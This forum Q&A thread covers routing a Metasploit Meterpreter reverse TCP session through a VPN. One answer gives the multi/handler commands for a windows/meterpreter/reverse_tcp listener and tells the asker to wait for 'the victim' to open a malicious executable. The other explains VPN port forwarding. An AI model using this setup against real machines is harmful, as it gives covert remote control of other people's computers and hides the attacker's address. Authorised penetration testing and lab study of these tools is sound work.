Meterpreter session over VPN

Question

I have the following situation:

Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled.

Victim machine connected to another router, (obviously) different IP assigned from different ISP.

I want establish a meterpreter session with reverse tcp. I create payload executable with msfvenom giving public IP of attacker router as LHOST parameter, then I start the listener setting the local IP of attacker machine as LHOST.

Till here no problem.

I tried to do the same with the attacker machine connected to a self made VPN server with no success. Is possible to do this?

If so, which IP addresses I have to set both in payload and in listener to get it working?

Answer 1

If you are using a reverse shell, you need to set LHOST with the attacker VPN IP, not your internal LAN IP. Also you need to listen locally with Metasploit to a specific port that you should set on LPORT and must be the same of msfvenom (es. 443). To achieve this you can use:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_vpn_ip
set LPORT your_local_port
exploit

Then just wait the victim open your malicious executable file

Answer 2

Yes it is possible if you are using openvpn. You could setup a dmz. Openvpn has the capability's to do it. A vpn public ip can forward ports to its clients if configured with dmz. You should set the IP of your VPN and not your internal client ip as LHOST